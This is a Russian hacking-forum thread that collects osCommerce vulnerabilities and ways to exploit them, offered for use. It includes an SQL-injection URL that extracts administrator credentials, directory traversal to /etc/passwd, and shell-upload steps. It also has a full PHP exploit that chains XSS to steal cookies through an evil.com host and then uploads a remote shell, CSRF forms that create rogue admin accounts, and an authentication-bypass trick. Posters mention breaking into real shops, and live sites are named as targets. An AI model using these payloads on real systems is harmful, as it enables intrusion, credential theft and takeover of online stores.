ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

[ Обзор уязвимостей #osCommerce# ]
  #1  
Старый 22.05.2008, 04:52
Аватар для life_is_shit
life_is_shit
Постоянный
Регистрация: 21.08.2007
Сообщений: 367
Провел на форуме:
3578960

Репутация: 468
Отправить сообщение для life_is_shit с помощью ICQ
Post [ Обзор уязвимостей #osCommerce# ]

Обзор уязвимостей osCommerce


=== osCommerce 3.0a3 (admin/templates_boxes_layout.php) Directory Traversal Bug Discloses Files to Remote Users ===



=== osCommerce 2.2 Multiple Cross Site Scripting Vulnerability ===

=== osCommerce 2.2 (osCsid) Cross Site Scripting Vulnerability ===

=== osCommerce 2.2 (error_message) Cross Site Scripting Vulnerability ===

=== osCommerce 2.2 (file_manager.php) File Browsing ===



=== osCommerce <= 2.2 (extras/) information/source code disclosure ===

=== osCommerce <=2.2 SQL Injection Vulnerability (create_account_process.php) ===

=== osCommerce <=2.2 (index.php) HTTP Response Splitting ===



=== osCommerce SQL Injection (customer_testimonials.php) ===

=== osCommerce (Contact_us) Cross Site Scripting Vulnerability ===

=== osCommerce (wrapper.php) PHP Including Vulnerability ===

upd:

=== Oscommerce <= 2.2 (advanced_search_result.php) SQL-injection ===
url: advanced_search_result.php?inc_subcat=1&keywords=% 20&categories_id=-1+union+select+1,concat_ws(%27;%27,user_name,user_ password)+from+administrators+limit+1,1--


Напишу еще от меня:

admin/ - админка.

includes/configure.php - здесь хранится данные к mysql, и общие настройки.

admin/configure.php - здесь хранится данные к mysql, и общие настройки. в старых версиях также лежит пароль к админке в открытом виде.

admin/backups/ - здесь хранятся mysql бекапы, не всегда админы ставят правильные права.

md5(salt+plain):salt - в таком виде хранятся пароли в базе.

customers - таблица юзеров.

customers_email_address, customers_password - поля в таблице customers необходимые для авторизации юзеров.

administrator или admin - таблица админов.

admin_email_address, admin_password - поля в таблице administrator необходимые для авторизации админов.

(c) life_is_shit

Последний раз редактировалось life_is_shit; 10.11.2009 в 17:42..
 
Ответить с цитированием

  #2  
Старый 22.05.2008, 05:33
Аватар для +toxa+
+toxa+
[Лишённый самовыражени
Регистрация: 16.01.2005
Сообщений: 1,787
Провел на форуме:
9751379

Репутация: 3812


Отправить сообщение для +toxa+ с помощью ICQ Отправить сообщение для +toxa+ с помощью AIM
По умолчанию

Версия х3, какой мод стоит тоже х3) найдено 28.06.2007

Код:
http://localhost/os/admin/htmlarea/popups/file/insert_file.php
заливаем наш шелл. по дефолту он заливается в папку download в корне, НО нам мешает .htaccess с содержанием
Код:
AuthType Basic
AuthName "No access"
AuthUserFile .htnopasswd
AuthGroupFile /dev/null
Require valid-user
файл .htnopasswd как таковой вообще отсутствует и авторизация невозможна.
поэтому заходим на
Код:
http://localhost/os/admin/htmlarea/popups/lister.php?DPI=96&action=delete&path=&file=../download/.htaccess
и нагло сносим зловредный файл)
Код:
http://www.site.ro/admin/htmlarea/popups/file/files.php?dir=/../
Листинг.

Примеры
http://www.sex-toysuk.com/admin/htmlarea/popups/file/insert_file.php
http://www.copilasultau.ro/admin/htmlarea/popups/file/files.php?dir=/../../
__________________
 
Ответить с цитированием

Уязвимости Oscommerce
  #3  
Старый 21.06.2009, 15:33
Аватар для Uwater
Uwater
Banned
Регистрация: 18.06.2009
Сообщений: 13
Провел на форуме:
132924

Репутация: 19
По умолчанию Уязвимости Oscommerce

Скачать : http://www.oscommerce.com/solutions/downloads


XSS:


В этом движке есть раздел для изменения\редактирования баннеров( banner_manager.php):

Код:
http://site/oscommerce/admin/banner_manager.php?page=1&bID=1&action=new
Уже видна ксс:

Код:
http://127.0.0.1/oscommerce/admin/banner_manager.php?page=1'"><h1>lol&bID=1&action=new
Мы можем написать подобие сплоита под эту багу:

Код:
<?php
$web_vulnerable = 'http://127.0.0.1/oscommerce/'; /* Уязвимый юрл */
$url_shell = 'http://www.gay.com/evil/shell.txt'; /* Путь к нашему шеллу */
$logs = md5($web_vulnerable).'_logs.txt'; /* логи*/
 
if(!$_GET){
if($web_vulnerable[strlen($web_vulnerable) - 1] != '/') $web_vulnerable .= '/';
logs('Редирект для  XSS');
header(
 'Location: '.
 $web_vulnerable.
 'admin/banner_manager.php?page=1"><script src=http://'.
 $_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']
 .'?acc=js></script><br x="&bID=1&action=new'); // Редирект
 exit;
 
/* Крадем куки */
}elseif($_GET['acc'] == 'js'){
 logs('Передача JavaScript');
 die('
   document.location="http://'.
  $_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'].
 '?acc=choco&galleta=" + escape(document.cookie) + "&uag=" + '.
 'escape(navigator.userAgent);
 ');
 
}elseif($_GET['acc'] == 'choco'){
 logs('Cookie получены Cookie='.$_GET['galleta'].'');
 if(!$cookie = urldecode($_GET['galleta'])){
  logs('Неа');
  exit; 
 }
 $host = explode('/', $web_vulnerable);
 $host = $host[2];
 $url = explode('http://'.$host, $web_vulnerable);
 $url = $url[1].'/';
 // Заливка шелла
 if(!$shell = file_get_contents($url_shell)){
  logs('Не удалось залить шелл');
  exit;
 }
 $post_data = 
'-----------------------------66182058019796
Content-Disposition: form-data; name="file_1"; filename="config.php"
Content-Type: text/x-php
 
'.$shell.'
-----------------------------66182058019796
Content-Disposition: form-data; name="file_2"; filename=""
Content-Type: application/octet-stream
 
 
-----------------------------66182058019796
Content-Disposition: form-data; name="file_3"; filename=""
Content-Type: application/octet-stream
 
 
-----------------------------66182058019796
Content-Disposition: form-data; name="file_4"; filename=""
Content-Type: application/octet-stream
 
 
-----------------------------66182058019796
Content-Disposition: form-data; name="file_5"; filename=""
Content-Type: application/octet-stream
 
-----------------------------66182058019796
Content-Disposition: form-data; name="x"
 
'.rand(10,19).'
-----------------------------66182058019796
Content-Disposition: form-data; name="y"
 
'.rand(10,19).'
-----------------------------66182058019796--
 
';
 
 /* Проверка соедениня */
 if(!eregi('302', enviar_socket(
'POST '.$url.'admin/file_manager.php?action=processuploads HTTP/1.1
Host: '.$host.'
User-Agent: '.urldecode($_GET['uag']).'
Connection: close
Referer: http://'.$host.'/'.$url.'admin/file_manager.php?action=upload
Cookie: '.$cookie.'
Content-Type: multipart/form-data; boundary=---------------------------66182058019796
Content-Length: '.(int)strlen($post_data)."\n\n".$post_data))){
  logs('Ошибка');
  exit;
 }
 
 /* Проверка на успешность) */
 if(eregi('images/icons/success.gif', enviar_socket(
'GET '.$url.'admin/file_manager.php HTTP/1.1
Host: '.$host.'
User-Agent: '.urldecode($_GET['uag']).'
Connection: close
Referer: http://'.$host.'/'.$url.'admin/file_manager.php?action=processuploads
Cookie: '.$cookie."\n\n\n"))){
  logs('Успешно URL='.$web_vulnerable.'config.php');
 }else{
  logs('Ошибка');
  exit;
 }
}
 
function handle_socket(){
 global $host;
 if(!$handle = fsockopen($host, 80)){
  logs('Удаленный сервер не отвечает');
  exit;
 }
 return $handle;
}
 
function enviar_socket($buffer){
 $handle = handle_socket();
 fwrite($handle, $buffer);
  while(!feof($handle)){
  $buffer .= fgets($handle, 128);
 }
 fclose($handle);
 if(!$buffer){
  logs('Удаленный сервер не отвечает');
  exit;
 }
 return $buffer;
}
 
function logs($contenido){
 global $logs;
 if(file_exists($logs)) $modo = 'a'; else $modo = 'x';
 if(!$handle = fopen($logs, $modo)) return false;
 fwrite($handle, '[+] DATE['.date(DATE_RFC822).'] IP['.$_SERVER['REMOTE_ADDR'].'] LOG['.$contenido."]\x0D\x0A");
 fclose($handle);
}
?>
Немного подробней:

Код:
http://site/oscommerce/admin/banner_manager.php?page=1"><script src=http://evil.com/manda.php?acc=js></script><br x="&bID=1&action=new
Таким образом видно:

Код:
<form name="new_banner" action="http://site/oscommerce/admin/banner_manager.php?page=1\"><script src=http://evil.com/manda.php?acc=js></script><br x=\"&action=update" method="post" enctype="multipart/form-data">
Получаем печенья:
Код:
document.location="http://evil/manda.php?acc=choco&galleta=" + escape(document.cookie) + "&uag=" + escape(navigator.userAgent);
Зачем нам нужен User Agent?

В Оскомерес есть "защита" на такие случаи:

Смотри файл includes/application_top.php 227 строка:

Код:
if ($SESSION_USER_AGENT != $http_user_agent){
      tep_session_destroy();
      tep_redirect(tep_href_link(FILENAME_LOGIN));
}
Используем :
Код:
User-Agent: '.urldecode($_GET['uag']).'
Затем льем шелл:
Код:
http://site/oscommerce/admin/file_manager.php?action=processuploads
Переходи на Admin / file_manager.php и смотри новые загрузки.

Ксс там куева туча, практически везде где есть ID или что-то подобное, например:

Код:
http://site/oscommerce/admin/categories.php?action=new_product_preview&read=only&pID=18&origin=stats_products_viewed.php?page=1'"><h1>test
Код:
http://site/oscommerce/admin/configuration.php?gID=1'"><h1>test

XSRF



Код:
http://127.0.0.1/oscommerce/admin/categories.php?action=delete_category_confirm&cPath=

POST /oscommerce/admin/categories.php?action=delete_category_confirm&cPath= HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows; U ...
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://127.0.0.1/oscommerce/admin/categories.php?cPath=&cID=1&action=delete_category
Cookie: osCAdminID=hfk8d6gg5n455ld7i4q20c4pf7; osCsid=pmvjahohiq09e0j2hr0rujffl0
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

categories_id=1&x=17&y=11
Видно?

Код:
<form method="post" action="http://127.0.0.1/oscommerce/admin/categories.php?action=delete_category_confirm&cPath=">
<input type=hidden name="categories_id" value="1" />
</form>
<script>document.getElementsByTagName("form")[0].submit();</script>

Создаем нового пользователя с правами админа:

Код:
<form method="post" action="http://127.0.0.1/oscommerce/admin/administrators.php?action=insert">
<input type=hidden name="username" value="r00t" />
<input type=hidden name="password" value="lol" />
<input type=hidden name="x" value="16" />
<input type=hidden name="y" value="13" />
</form>
<script>document.getElementsByTagName("form")[0].submit();</script>

Стоит заметить что движок часто использует $ _SERVER [ 'PHP_SELF'] , а это приводит к ксс, ну я насчитал у 26 файлов....
Например:

Код:
http://demo.oscommerce.com/index.php/ "> XSS <h1>
Всем пис, скоро продолжу)
 
Ответить с цитированием

Заливаем шелл для osCommerce Online Merchant v2.2 RC2a.
  #4  
Старый 15.09.2009, 02:50
Аватар для nikp
nikp
Reservists Of Antichat - Level 6
Регистрация: 19.09.2008
Сообщений: 127
Провел на форуме:
835386

Репутация: 1463
По умолчанию Заливаем шелл для osCommerce Online Merchant v2.2 RC2a.

Заливаем шелл для osCommerce Online Merchant v2.2 RC2a.

Для заливки пригодны два штатных инструмента
/admin/file_manager.php
/admin/banner_manager.php,
но доступ к ним разрешен только авторизованному админу.

Можно воспользоваться сплоитом http://www.milw0rm.com/exploits/9556 , который использует
следующую уязвимость: для доступа к скриптам в каталоге admin/ проверяется валидность
аминской сессии и если таковая не обнаружена идет перенаправление на admin/login.php
(см. admin/includes/application_top.php) но проверка if ($current_page != FILENAME_LOGIN),
если обнаружит, что url ссылается на login.php, редиррект не производит и тело скрипта выполняется.

Достаточно модифицировать урл

/admin/file_manager.php - /admin/file_manager.php/login.php
/admin/banner_manager.php - /admin/banner_manager.php/login.php
/admin/administrators.php - /admin/administrators.php/login.php

и скрипт выполнится для неавторизованного пользователя.

При заливке приходится учитывать, что часть сайтов отказывается выполнить залитый шелл,
если на него установлены права на запись, к примеру c правами chmod 777 shell.php не запускается,
а с правами chmod 755 shell.php срабатывает.


Атаку можно провести следующим образом:

1 - (не обязательно) проверяем доступность и работоспособность file_manager.php
http://target.com/admin/file_manager.php/login.php?action=download&filename=includes/configure.php
или просто
http://target.com/admin/file_manager.php/login.php
работают конструкции типа
http://target.com/file_manager.php?action=download&filename=../../../../../../../../etc/passwd

2 - (не обязательно, но удобнее) добавляем нового админа
можно использовать, как предложил Uwater (из поста выше).

Код HTML:
	<form method="post" action="http://target.com/admin/administrators.php/login.php?action=insert">
	<input type=hidden name="username" value="as" />
	<input type=hidden name="password" value="123123" />
	<input type=hidden name="x" value="16" />
	<input type=hidden name="y" value="13" />
	</form>
	<script>document.getElementsByTagName("form")[0].submit();</script>
3 - льем шелл из админки, Administration/Tools/File Manager
Administration/Tools/Banner Manager

а если она не доступна (иногда administrtors.php удален) гуляем вместе с
/admin/file_manager.php, модифицируя ссылки file_manager.php? на file_manager.php/login.php?

Для заливки есть три команды
action=new_file - чаще всего попадаем в нужные права chmod
action=upload - удобно,но часто дает права на запись и шелл не запускается
action=edit - когда не срабатывают первае два, просто трояним скрипт магазина
(например для исправления chmod загруженного шелла)

примеры
http://target.com/admin/file_manager.php/login.php?action=new_file
алтернативно
http://target.com/admin/file_manager.php/login.php?action=upload
алтернативно
http://target.com/admin/banner_manager.php/login.php?action=new

Для кнопок, отправляющих данные из формы приходится аналогично править исходный код страницы.

file_manager.php (если мы не меняли каталог) льет шелл в корень магазина.
banner_manager.php в images.

4 - чистим за собой (админа, баннеры, скрипты магазина)
 
Ответить с цитированием

  #5  
Старый 14.10.2009, 01:04
Аватар для undergl
undergl
Новичок
Регистрация: 13.10.2009
Сообщений: 4
Провел на форуме:
16327

Репутация: 0
По умолчанию

Слил хеши админов, но не совсем понятен формат хранеия паролей в базе:
md5(salt+plain):salt - что подразумевается под "plain"?
 
Ответить с цитированием

  #6  
Старый 14.10.2009, 01:09
Аватар для life_is_shit
life_is_shit
Постоянный
Регистрация: 21.08.2007
Сообщений: 367
Провел на форуме:
3578960

Репутация: 468
Отправить сообщение для life_is_shit с помощью ICQ
По умолчанию

пароль в чистом виде
 
Ответить с цитированием

  #7  
Старый 08.11.2009, 22:49
Аватар для Root-access
Root-access
Участник форума
Регистрация: 18.06.2008
Сообщений: 222
Провел на форуме:
2223440

Репутация: 648
Отправить сообщение для Root-access с помощью ICQ
По умолчанию

Недавно ломал один шоп, даже не посмотрел, что он на osCommerce, нашёл инъекцию:

advanced_search_result.php?inc_subcat=1&keywords=% 20&categories_id=-1+union+select+1,concat_ws(%27;%27,user_name,user_ password)+from+administrators+limit+1,1--

Она почему-то в багтреках не упоминается, но в отчётах о патчах есть
 
Ответить с цитированием

  #8  
Старый 09.11.2009, 14:57
Аватар для life_is_shit
life_is_shit
Постоянный
Регистрация: 21.08.2007
Сообщений: 367
Провел на форуме:
3578960

Репутация: 468
Отправить сообщение для life_is_shit с помощью ICQ
По умолчанию

какие версии уязвимы?
 
Ответить с цитированием

  #9  
Старый 09.11.2009, 22:11
Аватар для Root-access
Root-access
Участник форума
Регистрация: 18.06.2008
Сообщений: 222
Провел на форуме:
2223440

Репутация: 648
Отправить сообщение для Root-access с помощью ICQ
По умолчанию

life_is_shit, вот oscommerce-2.2ms1j - Change Log, где это написано, что бага зафиксена 2007-02-17 16:53
http://ko.sourceforge.jp/projects/tep-j/document/oscommerce-2.2ms1j_oscommerce-2.2ms1j_-_Changes/

Стало быть версии до этой уязвимы.

Последний раз редактировалось Root-access; 14.11.2009 в 21:25.. Причина: Грамматическая ошибка
 
Ответить с цитированием

  #10  
Старый 10.11.2009, 17:43
Аватар для life_is_shit
life_is_shit
Постоянный
Регистрация: 21.08.2007
Сообщений: 367
Провел на форуме:
3578960

Репутация: 468
Отправить сообщение для life_is_shit с помощью ICQ
По умолчанию

добавил.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Обзор уязвимостей в форумных движках] Grey Форумы 48 28.12.2009 20:03



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ